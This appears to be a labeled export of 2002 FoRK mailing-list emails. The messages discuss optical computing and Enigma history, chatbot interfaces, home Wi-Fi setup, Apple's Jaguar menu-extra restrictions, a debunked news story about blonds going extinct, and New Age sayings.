Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Wed, 2 Oct 2002 10:37:02 -0400",Re: Optical analog computing?,"--- begin forwarded text Date: Wed, 02 Oct 2002 01:30:24 -0400 From: ""John S. Denker"" Subject: Re: Optical analog computing? Sender: jsd@no.domain.spam To: ""R. A. Hettinga"" Cc: Digital Bearer Settlement List , cryptography@wasabisystems.com ""R. A. Hettinga"" wrote: ... > ""the first computer to crack enigma was optical"" > ""the first synthetic-aperture-radar processor was optical"" > ""but all these early successes were classified -- 100 to 200 projects, > and I probably know of less than half."" > > --> Do these claims compute?! is this really a secret history, or does > this mean holography, of am I just completely out of the loop?1 Gimme a break. This is remarkable for its lack of newsworthiness. 1) Bletchley Park used optical sensors, which were (and still are) the best way to read paper tape at high speed. You can read about it in the standard accounts, e.g. http://www.picotech.com/applications/colossus.html 2) For decades before that, codebreakers were using optical computing in the form of superposed masks to find patterns. You can read about it in Kahn. 3) People have been doing opto-electronic computing for decades. There's a lot more to it than just holography. I get 14,000 hits from http://www.google.com/search?q=optical-computing > Optical info is a complex-valued wave (spatial frequency, amplitude and > phase) It isn't right to make it sound like three numbers (frequency, amplitude, and phase); actually there are innumerable frequencies, each of which has its own amplitude and phase. > lenses, refractions, and interference are the computational operators. > (add, copy, multiply, fft, correlation, convolution) of 1D and 2D arrays > > and, of course, massively parallel by default. > > and, of course, allows free-space interconnects. Some things that are hard with wires are easy with light-waves. But most things that are easy with wires are hard with light-waves. > Here's a commercialized effort from israel: a ""space integrating > vector-matric multiplier"" [ A ] B = [ C ] > laser-> 512-gate modulator -> spread over 2D > ""256 Teraflop equivalent"" for one multiply per nanosecond. People were doing smaller versions of that in the 1980s. > Unclassified example: acousto-optic spectrometer, 500 Gflops equivalent > (for 12 watts!) doing continuous FFTs. Launched in 1998 on a 2-year > mission. Submillimeter wave observatory. Not ""FFTs"". FTs. Fourier Transforms. All you need for taking a D=2 Fourier Transform is a lens. It's undergrad physics-lab stuff. I get 6,000 hits from: http://www.google.com/search?q=fourier-optics > Of course, the rest of the talk is about the promise of moving from > optoelectronic to all-optical processors (on all-optical nets & with > optical encryption, & so on). All optical??? No optoelectronics anywhere??? That's medicinal-grade pure snake oil, USP. Photons are well known for not interacting with each other. It's hard to do computing without interactions. --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """Mr. FoRK"" ",,"Wed, 2 Oct 2002 10:00:48 -0700",Re: ActiveBuddy,"----- Original Message ----- From: ""Gary Lawrence Murphy"" > ... and the one thing I think we've learned in all that time is that, > as a help-desk, it doesn't work. I'm not sure they are doing strictly help-desk stuff. But the whole 'who in their right mind would use that? it doesn't have all these cool features!' isn't always a guarantee of failure - maybe there is a strength in this approach (agents and/or IM as ui) than can find a nich application space. > > In all the prolog-based NL database query systems of the 1980's and > other later chatterbot helpdesk projects like Shallow Red, even > simpler tries like Ask Jeeves, people very quickly know they're > talking to a robot, and the queries anneal to short, truncated and > terse database-like verb-noun or just noun-keyword requests. Kind of like a web query - and with google, someone else can turn them into a link so you don't even have to type anything. > > People are just too quick to adapt, and too impatient to forgive a > clunky interface, and for now, especially when the /average/ computer > user still can't type more than maybe 5-10wpm, NL is a painfully slow > clunky interface. Yes - true true. > > Put it this way: Would you login, wake the bot and ask for the Seattle > weather, or would you do as we /all/ do and just click the weather > icon sitting there on your desktop? What about a situation where you don't directly ask/talk to the bot, but they listen in and advise/correct/interject/etc? example: two people discussing trips, etc. may trigger a weather bot to mention what the forecast says - without directly being asked.",0,0 Elias Sinderson ,fork@spamassassin.taint.org,"Wed, 02 Oct 2002 11:40:38 -0700",Re: Wifi query,"802.11b - 11Mbps per channel over three channels in the 2.4GHz range (also shared with microwaves and cordless phones) at rages up to ~300 ft. 802.11a runs on 12 channels in the 5GHz range and up to around five times more bandwidth (~54Mbps or so) but has less range (60-100 ft). 8021.11a also adds Forward Error Correction into the scheme to allow for more reliable data transmission. Which to use really depends on what you're doing with it. Streaming video almost necessitates 802.11a, while streaming just audio can be comfortably done with 802.11b provided that there isn't much interference or too many clients. Prices? Don't know... Haven't done the research. For covering a large area 802.11a will be more expensive due to the need for more APs. If you want to reach the local coffee shop, however, you will need a directional antenna either way. Check out http://www.80211-planet.com, they've got some good articles on 802.11... Also, some of the best info on 802.11 security I've seen can be found at http://www.drizzle.com/~aboba/IEEE/. Give me bandwidth or give me death, Elias Tom wrote: >... I have one very pressing question.... Wifi ranges.. ... > >Do I got for 802.11b stuff or do I gold out for 802.11a ? Is the price >point break goign to warrant the differnce? >",0,1 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Wed, 2 Oct 2002 16:34:21 -0400",Re: Optical analog computing?,"--- begin forwarded text Delivered-To: fork@spamassassin.taint.org To: fork@spamassassin.taint.org Subject: Re: Optical analog computing? From: Dave Long Sender: fork-admin@xent.com Date: Wed, 02 Oct 2002 11:09:34 -0700 > > ""the first computer to crack enigma was optical"" > > Computing with interference patterns, etc, makes perfect sense, but Enigma > was cracked by building mechanical systems that were essentially Enigma > machines and brute-forcing. Look for ""Zygalski sheets"". By Koerner's* narrative, it wound up being a hybrid affair: Bletchley had mock Enigmas which cycled through the Enigma's ~18k starting positions in a quarter of an hour, but the Germans started using a plugboard which then had ~1.5x10^14 possibilities. The Poles noticed that there were some patterns in the messages which were only possible via certain plugboard settings, and so: > When we have collected several such cards corresponding to different > initial signals ..., we place them in a pile so that the squares > corresponding to the same daily settings are aligned and shine a > light beneath the pile. Only those squares which let the light > through will correspond to possible daily settings. So the brute force hardware allowed precalculation of ""optical"" computing devices which then narrowed down the possibilities enough for brute force to again be used for daily decodes, until: > On 10 May, the Germans invaded France and, on the same day, in > accordance with the best cryptographic principles, they changed their > Enigma procedures in such a way that the 1560 Zygalski sheets, each > with their carefully drilled 1000 or so holes, became just so much > waste cardboard. -Dave :::::: > > ""the first synthetic-aperture-radar processor was optical"" This is also easy to believe, given Dr. Elachi's description of the 1981 Shuttle Imaging Radar: > The received signal is recorded on an optical film which is retrieved > after landing. The film ... is then processed in an optical correlator > to generate the final image. which makes sense, as one wishes to shift each component of the return in proportion to its frequency, for which one presumably needs a glorified prism. > Alternatively, the ... signal can be digitized and then recorded on > board or transmitted to the ground via a digital data link. This was > the case with the ... sensor flown in 1984. :::::: * Koerner, _The Pleasures of Counting_, in which various aspects of the Enigma decoding cover four chapters, of which I quote from two sections of one: 14.2: Beautiful Polish females, and 14.3: Passing the torch > Churchill's romantic soul loved the excitement and secrecy surrounding > Bletchley. He relished the way that > > [t]he old procedures, like the setting up of agents, the suborning > > of informants, the sending of messages written in invisible ink, > > the masquerading, the dressing-up, the secret transmitters, and the > > examining of the contents of waste-paper baskets, all turned out > > to be largely cover for this other source, as one might keep some > > old-established business in rare books going in order to be able, > > under cover of it, to do a thriving trade in pornography and erotica > ... > Looking at the disparate, unkempt and definitely unmilitary crew > formed by his top code-breakers, he is said to have added to his head > of Intelligence ""I know I told you to leave no stone unturned to find > the necessary staff, but I did not mean you to take me so literally!"" --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """Mr. FoRK"" ",,"Wed, 2 Oct 2002 13:49:53 -0700",Re: ActiveBuddy,"----- Original Message ----- From: ""Gary Lawrence Murphy"" > > f> What about a situation where you don't directly ask/talk to the > f> bot, but they listen in and advise/correct/interject/etc? > > Do you do that? Do you hear two people at the next table say ""I'm > going to Seattle tomorrow"" and you just /have/ to lean over and > interject compulsively to tell them what you know about Seattle's > weather? Have you ever worked with Kragen?",0,0 """Mr. FoRK"" ",,"Wed, 2 Oct 2002 14:19:58 -0700",Re: ActiveBuddy,"----- Original Message ----- From: ""Mr. FoRK"" > ----- Original Message ----- > From: ""Gary Lawrence Murphy"" > > > > > f> What about a situation where you don't directly ask/talk to the > > f> bot, but they listen in and advise/correct/interject/etc? > > > > Do you do that? Do you hear two people at the next table say ""I'm > > going to Seattle tomorrow"" and you just /have/ to lean over and > > interject compulsively to tell them what you know about Seattle's > > weather? > Oh, please, quit with all that StopEnergy(tm)",0,0 """R. A. Hettinga"" ","Digital Bearer Settlement List , fork@spamassassin.taint.org","Wed, 2 Oct 2002 16:25:26 -0400",Re: Optical analog computing?,"--- begin forwarded text Date: Thu, 03 Oct 2002 03:21:05 +1000 To: ""John S. Denker"" From: Greg Rose Subject: Re: Optical analog computing? Cc: ""R. A. Hettinga"" , Digital Bearer Settlement List , cryptography@wasabisystems.com At 01:30 AM 10/2/2002 -0400, John S. Denker wrote: >""R. A. Hettinga"" wrote: >... > > ""the first computer to crack enigma was optical"" >1) Bletchley Park used optical sensors, which were (and >still are) the best way to read paper tape at high speed. >You can read about it in the standard accounts, e.g. > http://www.picotech.com/applications/colossus.html But Colossus was not for Enigma. The bombes used for Enigma were electro-mechanical. I'm not aware of any application of optical techniques to Enigma, unless they were done in the US and are still classified. And clearly, the first bulk breaks of Enigma were done by the bombes, so I guess it depends whether you count bombes as computers or not, whether this statement has any credibility at all. Greg. Williams/Zenon 2004 campaign page: http://www.ben4prez.org Greg Rose INTERNET: ggr@qualcomm.com Qualcomm Australia VOICE: +61-2-9817 4188 FAX: +61-2-9817 5199 Level 3, 230 Victoria Road, http://people.qualcomm.com/ggr/ Gladesville NSW 2111 232B EC8F 44C6 C853 D68F E107 E6BF CD2F 1081 A37C --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Gregory Alan Bolcer ,fork@spamassassin.taint.org,"Wed, 02 Oct 2002 14:16:55 -0700",Re: Wifi query,"Elias Sinderson wrote: > 802.11b - 11Mbps per channel over three channels in the 2.4GHz range > (also shared with microwaves and cordless phones) Microwaves, cordless phones and video-based baby monitors.... Greg -- Gregory Alan Bolcer, CTO | work: +1.949.833.2800 gbolcer at endeavors.com | http://endeavors.com Endeavors Technology, Inc.| cell: +1.714.928.5476",0,1 Tom ,Gregory Alan Bolcer ,"Wed, 2 Oct 2002 17:44:24 -0400 (EDT)",Re: Wifi query,"On Wed, 2 Oct 2002, Gregory Alan Bolcer wrote: --]Elias Sinderson wrote: --]> 802.11b - 11Mbps per channel over three channels in the 2.4GHz range --]> (also shared with microwaves and cordless phones) --] --]Microwaves, cordless phones and video-based baby monitors.... Well I dont have to worry about microwavers in the house. Ours died a week or so ago and due to doing some research we will nto be getting anysuch device in the near or far future. I mean even if one half of the crap it is reported to do is true it s just not worth it for a quick cup or warm chai. Which brings me to the fact that finding a good Convection only (not combo with a microwaver) oven of any good size is dang near impossible unless you go up to the bizness sizes. thankfully there is Dehlongi of which costco has thru thier online store. Now of course the question is do we get it delivered to the old house or the new one (yep we got our offer approved and are in the short run down to a long mortage:) we close on oct 31. though the realestate agent says t happens like that a lot, I still find it incrediably jolting to have found a house inthe hood I want with the space dawn wants on sunday and we are signing papers on tuesday night with a close at the end of the month. Which of course means....wifi land for wsmf:)- ) So far I like the Linksys dsl/cable router all in one wifi ap. The Dlink has the funky 22mb stuff IF you use all thier stuff across the net and the way things go I cant say thats gonna happen for sure. Pluse the Linksys stuff is all over the mass market sotres so I cna walk home with parts at any time. The fun now comes with a realization that with ATTbi cable as my main hose tot he net offering up bwf might be a tad problematic....So i am thinking of ways around/through/under that. the setup of the particualrs are far form set in stone...any ideas would be welcome. Also any portlanders.....party time. -tom",0,0 """R. A. Hettinga"" ",fork@spamassassin.taint.org,"Wed, 2 Oct 2002 17:42:32 -0400",Re: Optical analog computing?,"At 4:34 PM -0400 on 10/2/02, R. A. Hettinga wrote: > --- begin forwarded text > > > Status: RO > Delivered-To: fork@spamassassin.taint.org Sigh. Shoot me, now... My apologies. Cheers, RAH -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Tom ,fork@spamassassin.taint.org,"Wed, 2 Oct 2002 18:37:28 -0400 (EDT)",Apple Sauced...again,"Over on Arstechnica (www.arstechnica.com) I saw mention of a Wired article that goes into the many wonderfull ways Apple is showing its love and respect for its users. http://www.wired.com/news/mac/0,2125,55395,00.html There is a good rundown of all the whys and whatfores over at http://arstechnica.com/reviews/02q3/macosx-10.2/macosx-10.2-5.html ""True to form, industrious third party developers saw that they could gain a competitive advantage by supporting this more capable user interface in their applications. Apple's private menu extras APIs were reverse engineered and leveraged to great effect. The architecture was so popular that an application for managing predefined sets of menu extras (third party or otherwise) was in development. All of that changed with the release of Jaguar--but not because the private APIs had changed. If they had, third party developers would have updated their applications to work with the new APIs, as they have resigned themselves to doing by choosing to use private APIs in the first place. But what actually happened in Jaguar was that Apple added code to forcibly exclude all non-Apple menu extras. Other parts of the API did not change. But when a menu extra is loaded, it is compared to a hard-coded list of ""known"" menu extras from Apple. If the menu extra is not on that list, it is not allowed to load. It's easy to laugh at Steve Ballmer's sweat-soaked gyrations as he chants ""developers, developers, developers!"", but Microsoft clearly understands something that Apple is still struggling with. It is in a platform vendor's best interest to encourage development for its platform. In Apple's case, this doesn't mean that they have to bend over backwards to make every single system service and UI element ""pluggable"" via public APIs. That's clearly a lot of work, and not something that needs to be the number one priority for an OS in its infancy. And in the meantime, if third party developers want to sell into a market that requires the desired functionality to be added in ""unsupported"" ways, then they must be prepared for the maintenance consequences of their decisions. But for Apple to go out of its way--to actually expend developer effort--to stop these third party developers, while still failing to provide a supported alternative, is incredibly foolish. """,0,1 khare@alumni.caltech.edu,fork@spamassassin.taint.org,"Wed, 2 Oct 2002 18:51:11 -0400 (EDT)","NYTimes.com Article: Stop Those Presses! Blonds, It Seems, Will","This article from NYTimes.com has been sent to you by khare@alumni.caltech.edu. Excellent evidence of the herd. Just imagine if the anonymous noise injected into our world newsphere (noosphere?) was, say, a fraudulent story that a stock accounting scandal had been accused and the evildoers were shorting. Oh, wait, that happened. An unemployed Orange County student took down Emulex... Enjoy! Rohit khare@alumni.caltech.edu Stop Those Presses! Blonds, It Seems, Will Survive After All October 2, 2002 By LAWRENCE K. ALTMAN Apparently it fell into the category ""too good to check."" Last Friday, several British newspapers reported that the World Health Organization had found in a study that blonds would become extinct within 200 years, because blondness was caused by a recessive gene that was dying out. The reports were repeated on Friday by anchors for the ABC News program ""Good Morning America,"" and on Saturday by CNN. There was only one problem, the health organization said in a statement yesterday that it never reported that blonds would become extinct, and it had never done a study on the subject. ""W.H.O. has no knowledge of how these news reports originated,"" said the organization, an agency of the United Nations based in Geneva, ""but would like to stress that we have no opinion of the future existence of blonds."" All the news reports, in Britain and the United States, cited a study from the World Health Organization - ""a blonde-shell study,"" as The Daily Star of London put it. But none reported any scientific details from the study or the names of the scientists who conducted it. On ""Good Morning America,"" Charles Gibson began a conversation with his co-anchor, Diane Sawyer, by saying: ""There's a study from the World Health Organization, this is for real, that blonds are an endangered species. Women and men with blond hair, eyebrows and blue eyes, natural blonds, they say will vanish from the face of the earth within 200 years, because it is not as strong a gene as brunets."" Ms. Sawyer said she was ""somewhat of a natural blonde."" Jeffrey Schneider, a spokesman for ABC News, said the anchors got the information from an ABC producer in London who said he had read it in a British newspaper. In London, The Sun and The Express both reported that unnamed scientists said blonds would survive longest in Scandinavia, where they are most concentrated, and expected the last true blond to hail from Finland. The British accounts were replete with the views of bleached blonds who said hairdressers would never allow blondness to become extinct, and doctors who said that rare genes would pop up to keep natural blonds from becoming an endangered species. Journalists in London said last night that the source of the reports was probably one of several European news agencies that are used by the British press, but it remained unclear which one. Tim Hall, a night news editor at The Daily Mail, said the report was probably distributed by The Press Association, Britain's domestic news agency. ""Several papers picked it up,"" he said. But Charlotte Gapper, night editor at The Press Association, said that although it had considered running the report on Sept. 27, it had decided not to after talking to the World Health Organization. ""We didn't do that story because we made an inquiry to the World Health Organization first,"" she said. ""They told us that report was two years old, and had been covered at the time. They said it had been picked up again that day by a German news agency."" She added that she did not know which agency the organization was referring to. Dr. Ray White, a geneticist at the University of California at San Francisco, said that the disappearance of a gene for blond hair ""sounds patently incorrect."" http://www.nytimes.com/2002/10/02/health/02BLON.html?ex=1034599071&ei=1&en=3a0e4f0b2b251593 HOW TO ADVERTISE --------------------------------- For information on advertising in e-mail newsletters or other creative advertising opportunities with The New York Times on the Web, please contact onlinesales@nytimes.com or visit our online media kit at http://www.nytimes.com/adinfo For general information about NYTimes.com, write to help@nytimes.com. Copyright 2002 The New York Times Company",0,1 Gary Lawrence Murphy ,Eirikur Hallgrimsson ,03 Oct 2002 01:16:52 -0400,Re: Apple Sauced...again,">>>>> ""E"" == Eirikur Hallgrimsson writes: E> ... If my environment cannot be made beautiful, in E> some sense I cannot live. ""The first question I ask myself when something doesn't seem to be beautiful is why do I think it's not beautiful. And very shortly you discover that there is no reason."" -- John Cage -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Tom ,fork@spamassassin.taint.org,"Thu, 3 Oct 2002 02:46:21 -0400 (EDT)",wifi progress,"Well it looks pretty much 99% sure that we will be moving in on Nov 1 to the new house. I think the only thing that stops us now are acts of dieties and total economic collapse..so no one mention the dow for the next few weeks.. In preperation we drove to Best Buy tonight and picked up the test core for the wifi net. I got a linksys BEFW11S4(1) for the router/hub/wireless ap/firewall/etc and a linksys wifi pcmcia card for the laptop I made one false move so it took about 30 mins all told to set up the card, the router, and the other 3 machines in the house on the wire ether hub. All vfery neat very easy and very very cool set up via the webinterface. I have to dig into the firewall/nat/routing features some more (i have been reading up the wifi security blackpaper on ars technica) but all in all a smooth move. Now the place im at now, the house soon to be the ex house, has lots of funky things going on in the walls and in the area. We are in , essentialy, a gravel pit..recption of all types suck and transmisions get goofy inside the pit. That being said... with 2 walls and 40 feet between the AP and the pcmica card (no external antena on it) Im still getting 11mbs and at least 60% goodness. Some cool things about the new house...its a 1912 job so no metal works inthe walls to speak of , mostly wood and plaster. We dont have a microwave and our cordless phines are on 900mhz (yea so I can use my bear cat to listen in on some calls, with kids in the house is that such a bad thing? Ben or heather, if you read this years from now...well by then I hope youare better at countermoeasures:)- ) Ok, enough testing for tonight. I gota say, being able to do this in bed by vncing via wifi to my desktop is a blast...oh no...wifes pillow is heading this way....DUCKKKKK (1)http://www.linksys.com/Products/product.asp?grid=23&prid=173",0,1 Eirikur Hallgrimsson ,fork@spamassassin.taint.org,"Wed, 2 Oct 2002 23:17:13 -0400",Re: Apple Sauced...again,"On Wednesday 02 October 2002 06:37 pm, Tom wrote: > But what actually happened in Jaguar was that Apple added code to > exclude all non-Apple menu extras. Too, too, too, true. Just you try to muck with Job's blessed Aqua interface. Or remove the fscking dock. OSX is such a step down from Classic with Kaleidoscope skinning the entire UI. As an artist, I resent it deeply. (This is not in praise of Classic.) If my environment cannot be made beautiful, in some sense I cannot live. Eirikur",0,0 """R. A. Hettinga"" ","dcsb@ai.mit.edu, cryptography@wasabisystems.com,","Thu, 3 Oct 2002 07:06:51 -0400",The 3rd Annual Consult Hyperion Digital Identity Forum,"--- begin forwarded text User-Agent: Microsoft-Entourage/10.1.0.2006 Date: Thu, 03 Oct 2002 07:56:39 +0100 Subject: The 3rd Annual Consult Hyperion Digital Identity Forum From: ""David G.W. Birch"" To: Bob Hettinga Cc: Digital Bearer Settlement List Dear All, See www.digitalidentityforum.com for more details. Speakers include Microsoft and Liberty Alliance, UK central and local government, law enforcement, financial services (Egg and RBS/NatWest), EC Research Centre, a psychologist and others. Look forward to seeing you there. Regards, Dave Birch. -- -- David Birch, Director, Consult Hyperion -- -- tel +44 (0)1483 301793, fax +44 (0)1483 561657 -- mail dave@chyp.com, web http://www.chyp.com -- -- See you at the 2nd Annual Digital Transactions Forum in Singapore -- October 16th/17th 2002, see http://www.digitaltransactionsforum.com/ --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 """R. A. Hettinga"" ","Gary Lawrence Murphy ,","Thu, 3 Oct 2002 07:27:27 -0400",Re: Apple Sauced...again,"At 1:16 AM -0400 on 10/3/02, Gary Lawrence Murphy wrote: > ""The first question I ask myself when something doesn't seem to be > beautiful is why do I think it's not beautiful. And very shortly you > discover that there is no reason."" -- John Cage ""When I'm working on a problem, I never think about beauty. I think only how to solve the problem. But when I have finished, if the solution is not beautiful, I know it is wrong."" -- R. Buckminster Fuller ""Simplicity is the highest goal, achievable when you have overcome all difficulties."" -- Frederic Chopin ""Externalities are the last refuge of the dirigistes."" -- Friedrich Hayek -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""The stoical scheme of supplying our wants by lopping off our desires is like cutting off our feet when we want shoes."" -- Jonathan Swift",0,1 Gary Lawrence Murphy ,"""R. A. Hettinga"" ",03 Oct 2002 10:41:29 -0400,Re: Apple Sauced...again,">>>>> ""R"" == R A Hettinga writes: R> ""When I'm working on a problem, I never think about beauty. I R> think only how to solve the problem. But when I have finished, R> if the solution is not beautiful, I know it is wrong."" -- R> R. Buckminster Fuller ""It was only /after/ I'd completed the geodesic dome that I noticed it was beautiful"" --- R. Buckminster Fuller -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Rodent of Unusual Size ,Flatware or Road Kill? ,"Thu, 03 Oct 2002 12:53:34 -0400",Re: The Wrong Business,"people with too much time on their hands.. look at this first (8meg, so takes a loong time): http://www.ntk.net/2002/09/27/jesus_large.jpg and then look at this reduction: http://www.ntk.net/2002/09/27/jesus_small.jpg -- #ken P-)} Ken Coar, Sanagendamgagwedweinini http://Golux.Com/coar/ Author, developer, opinionist http://Apache-Server.Com/ ""Millennium hand and shrimp!""",0,1 Gary Lawrence Murphy ,Rodent of Unusual Size ,03 Oct 2002 13:51:28 -0400,Re: The Wrong Business,"Actually this is output from an old java program called jitter. It's very useful for those of us with digital cameras who end up taking 50+ pictures a day while on vacation ;) -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 Gary Lawrence Murphy ,"""Gordon Mohr"" ",03 Oct 2002 15:02:54 -0400,Re: The Wrong Business,"egad ... you mean there's two of them??? I knew there was a reason my jobs board had jumped to the top of my traffic list. -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 """R. A. Hettinga"" ","dcsb@ai.mit.edu, cryptography@wasabisystems.com,","Thu, 3 Oct 2002 20:13:32 -0400",Re: The 3rd Annual Consult Hyperion Digital Identity Forum,"--- begin forwarded text To: rah@shipwright.com From: hacker@vudu.net Date: Thu, 03 Oct 2002 06:01:38 -0700 (PDT) Subject: Re: The 3rd Annual Consult Hyperion Digital Identity Forum The guy messed up his own URL. It should be http://www.digitalidforum.com which redirects to http://www.consult.hyperion.co.uk/digid3.html ""R. A. Hettinga"" wrote: > > Dear All, > > See www.digitalidentityforum.com for more details. Speakers include > Microsoft and Liberty Alliance, UK central and local government, > law > enforcement, financial services (Egg and RBS/NatWest), EC Research > Centre, a > psychologist and others. Look forward to seeing you there. > > Regards, > Dave Birch. > > -- > -- David Birch, Director, Consult Hyperion > -- > -- tel +44 (0)1483 301793, fax +44 (0)1483 561657 > -- mail dave@chyp.com, web http://www.chyp.com > -- > -- See you at the 2nd Annual Digital Transactions Forum in > Singapore > -- October 16th/17th 2002, see > http://www.digitaltransactionsforum.com/ > > --- end forwarded text > > > -- > ----------------- > R. A. Hettinga > The Internet Bearer Underwriting Corporation ; > 44 Farquhar Street, Boston, MA 02131 USA > ""... however it may deserve respect for its usefulness and > antiquity, > [predicting the end of the world] has not been found agreeable to > experience."" -- Edward Gibbon, 'Decline and Fall of the Roman > Empire' > > For help on using this list (especially unsubscribing), send a > message to > ""dcsb-request@reservoir.com"" with one line of text: ""help"". --- end forwarded text -- ----------------- R. A. Hettinga The Internet Bearer Underwriting Corporation 44 Farquhar Street, Boston, MA 02131 USA ""... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience."" -- Edward Gibbon, 'Decline and Fall of the Roman Empire'",0,1 Gary Lawrence Murphy ,"""Stephen D. Williams"" ",03 Oct 2002 21:58:55 -0400,Re: Living Love - Another legacy of the 60's,">>>>> ""S"" == Stephen D Williams writes: S> The purpose of our lives is to be free of all addictive traps, S> and thus become one with the ocean of Living Love. ""One choice is a psychosis. Two, a neurosis"" -- Ven Joan Shikai Woodward, Northern Mountain Order of the White Wind Zen Community just a thought. (oh, yes, the bits: Women in Zen - http://lhamo.tripod.com/2zen.htm) -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 """Stephen D. Williams"" ",fork@spamassassin.taint.org,"Thu, 03 Oct 2002 17:32:56 -0400",Living Love - Another legacy of the 60's,"Normally, I disdain any kind of mysticism, even when it is associated with fairly good ideas. Just a big turnoff. A good example would be the difference between Yoga/TM and the more scientifically pure, but related, relaxation techniques including ""betagenics"", hypnosis/auto-hypnosis, etc. (This was one of the many topics I obsessively absorbed as a teenager.) Or Tai Chi etc. vs. Tai Bo / G-Force Dyno-Staff. I have to say however that, having found this while looking for something completely unrelated, it has some cute truisms. I particularly like their addiction to non-addiction. Additionally, the Mindprod treehugger site has some interesting quotes, etc. To my internal ear, nearly all of these 60's based new-age vernacular seem to assume that you are a simple child (of the 60's?) who needs some religion-like couching of ideas to relate and internalize. Very irritating, but taken in small doses it's interesting to compare and contrast with our (my) modern mental models. I found that a few of the principles could be used to explain and justify US/UN foreign policy and actions. http://mindprod.com/methods.html http://members.aol.com/inossence/Kenkey.html http://www.mindprod.com/ (Apologies for the embedded HTML.) We create the world we live in. A loving person lives in a loving world, A hostile person lives in a hostile world. Everyone you meet is your mirror. You make yourself and others suffer just as much when you take offence as when you give offence. To be upset over what you don't have is to waste what you do have. The past is dead, The future is imaginary, Happiness can only be in the Eternal Now Moment How soon will you realize that the only thing you don't have is the direct experience that there's nothing you need that you don't have. Love a person because he or she is there. This is the only reason. Happiness happens when your consciousness is not dominated by addictions and demands~ and you experience life as a parade of preferences. The purpose of our lives is to be free of all addictive traps, and thus become one with the ocean of Living Love. sdw -- sdw@lig.net http://sdw.st Stephen D. Williams 43392 Wayside Cir,Ashburn,VA 20147-4622 703-724-0118W 703-995-0407Fax Dec2001",0,1 """Geege Schuman"" ","""Stephen D. Williams"" , ","Thu, 3 Oct 2002 23:24:15 -0400",RE: Living Love - Another legacy of the 60's,"draw the pain ""Ken never wrote about this method, but he often demonstrated it in workshops. Let us say you have a physical pain somewhere in your body. You draw the pain in the air with your finger, about 30 cm (1 foot) high. Take about 60 seconds to trace around the perimeter of the pain, carefully listening to the pain to find the precise boundary between where it hurts and where it does not. Repeat. You will find that after about 10 minutes of this the pain will shift, shrink or disappear. A variant of this is to imagine making a 3D model the pain in coloured clay."" Works! There's this coworker - a real pain in my ass! I used my middle finger to trace his outline for about 60 seconds. I listened to him, found the boundary, and repeated the motion. He left my office! -----Original Message----- From: fork-admin@xent.com [mailto:fork-admin@xent.com]On Behalf Of Stephen D. Williams Sent: Thursday, October 03, 2002 5:33 PM To: fork@spamassassin.taint.org Subject: Living Love - Another legacy of the 60's Normally, I disdain any kind of mysticism, even when it is associated with fairly good ideas. Just a big turnoff. A good example would be the difference between Yoga/TM and the more scientifically pure, but related, relaxation techniques including ""betagenics"", hypnosis/auto-hypnosis, etc. (This was one of the many topics I obsessively absorbed as a teenager.) Or Tai Chi etc. vs. Tai Bo / G-Force Dyno-Staff. I have to say however that, having found this while looking for something completely unrelated, it has some cute truisms. I particularly like their addiction to non-addiction. Additionally, the Mindprod treehugger site has some interesting quotes, etc. To my internal ear, nearly all of these 60's based new-age vernacular seem to assume that you are a simple child (of the 60's?) who needs some religion-like couching of ideas to relate and internalize. Very irritating, but taken in small doses it's interesting to compare and contrast with our (my) modern mental models. I found that a few of the principles could be used to explain and justify US/UN foreign policy and actions. http://mindprod.com/methods.html http://members.aol.com/inossence/Kenkey.html http://www.mindprod.com/ (Apologies for the embedded HTML.) We create the world we live in. A loving person lives in a loving world, A hostile person lives in a hostile world. Everyone you meet is your mirror. You make yourself and others suffer just as much when you take offence as when you give offence. To be upset over what you don't have is to waste what you do have. The past is dead, The future is imaginary, Happiness can only be in the Eternal Now Moment How soon will you realize that the only thing you don't have is the direct experience that there's nothing you need that you don't have. Love a person because he or she is there. 